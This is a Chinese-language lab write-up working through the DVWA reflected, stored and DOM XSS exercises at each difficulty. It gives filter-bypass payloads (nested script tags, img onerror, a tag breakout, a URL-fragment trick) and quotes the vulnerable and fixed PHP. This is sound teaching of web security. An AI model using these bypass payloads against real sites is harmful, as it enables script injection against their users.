DVWA XSS练习
反射型(Reflected)
Low
输入框里随便输入,比如aaa
点击submit
访问:http://localhost/DVWA/vulnerabilities/xss_r/?name=aaa#
查看源代码发现只有一处有回显:
<pre>Hello aaa</pre>
可控的变量是name
直接插script
标签进行尝试:
payload:<script>alert(1)</script>
成功弹窗
代码分析:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
没有做任何的过滤。
Medium
插script标签进行尝试:
查看源代码:
<pre>Hello alert(1)</pre>
应该是过滤了<script>
一类的
构造payload:<scr<script>ipt>alert(1)</script>
成功弹窗
代码分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
把<script>
标签置换成了空
High
尝试了 low , medium 等级的payload都是过滤掉了,试试img标签。
payload:<img src=x onerror=alert(1)>
成功弹窗
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
通过正则表达式进行了过滤,无论script
中间夹了什么都能置空。
Impossible
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
将输入过来的值利用htmlspecialchars
函数实体化了。就基本没有可能xss了。
htmlspecialchars:
语法:
htmlspecialchars(string,flags,character-set,double_encode)
定义和用法
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
提示:如需把特殊的 HTML 实体转换回字符,请使用
htmlspecialchars_decode()
函数。
存储型(Stored)
Low
随便输入一个数据,查看源代码:
<div id="guestbook_comments">
Name: admin<br />
Message: test<br />
</div>
构造payload:
<script>alert(1)</script>
发现Name处有长度限制。不过Message部分也可以触发xss进行弹窗。
看看能不能通过审查元素更改Name输入框的长度限制:
查看源代码:
<input name="txtName" type="text" size="30" maxlength="10">
把maxlength="10"
删掉,提交后发现弹了两下窗口。
测试完成以后可以点击那个Clear Guestbook
来清除之前提交的记录,不然每次刷新都弹窗很烦。
代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
代码的大概意思就是收到name跟message之后直接存到数据库里。基本上没有什么过滤,message是用stripslashes
函数去除了一下斜杠。
Medium
提交了 Low 等级的payload后返回页面的源代码:
<div id="guestbook_comments">
Name: aaa<br>
Message: alert(1)<br>
</div>
也是<script>
标签被过滤了。
构造一下:<scr<script>ipt>alert(1)</script>
还是被过滤了,代码可能是跟反射型漏洞的high一样叭,试试别的标签。
<img src=x onerror=alert(1)>
em~ 也过滤了。
看了一眼代码,发现是把message实体化了,只能通过Name来传payload了。
也是利用代码审计把长度限制去掉,也可以利用抓包工具在改一下数据内容。
payload:<scr<script>ipt>alert(1)</script>
就可以弹窗了。
代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
代码的意思就是说,传入message跟name,然后两个变量都是把<script>
置空,然后把message实体化之后才保存至数据库。
High
既然medium难度就把message实体化了,所以high应该也是实体化了,所以把name的长度限制去掉,传入一个img标签的payload试试:
payload:<img src=x onerror=alert(1)>
弹窗了。
代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
处理方法跟反射型的high难度有异曲同工之妙。也是利用了正则表达式。
Impossiable
impossiable难度是安全的。
代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
两个变量都实体化了。
Dom型 (DOM)
Dom的一开始做了只做会了Low等级的,就暂时放一边了。
Low
点击select时访问:http://localhost/DVWA/vulnerabilities/xss_d/?default=English
查看源代码发现default之后的值就是<option>
标签里的值,查看源代码:
<option value="English">English</option>
payload:
<script>alert(1)</script>
成功弹窗:
代码里什么也没写。
弹窗以后想要逃出value="English"
这个地方触发xss。但是">
传入这个之后没有什么反应。查看前端代码时发现一段js代码:
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
这里lang就是我们传入的值。
在浏览器的console里查看了一下lang的值,发现都是经过了url编码的。
Medium
尝试了一下Low等级的payload,直接返回到了
http://localhost/DVWA/vulnerabilities/xss_d/?default=English
这个地址。
尝试别的标签:http://localhost/DVWA/vulnerabilities/xss_d/?default=<img src=x onerror=alert(1)>
还是没有什么反应。
尝试关闭了option
标签也是逃不过去,看了一下html嵌套规则:https://www.cnblogs.com/xiyangbaixue/p/4090511.html
发现得把select标签页一并关闭才可以,构造一下payload:
</option></select><img src=x onerror=alert(1)>
成功
代码分析:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
发现只要包含script标签就会执行跳转。
High
首先尝试了一下medium难度的payload,执行了跳转操作。
没什么思路,看了一下代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
网上搜了一下:https://www.cnblogs.com/huangming-zzz/p/9901770.html
利用了#号,URL中#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互
payload:?default=English#<script>alert(1)</script>
Impossiable
安全,后端也没有代码。前端跟之前的不一样:
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
改成了:
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
去掉了url解码的部分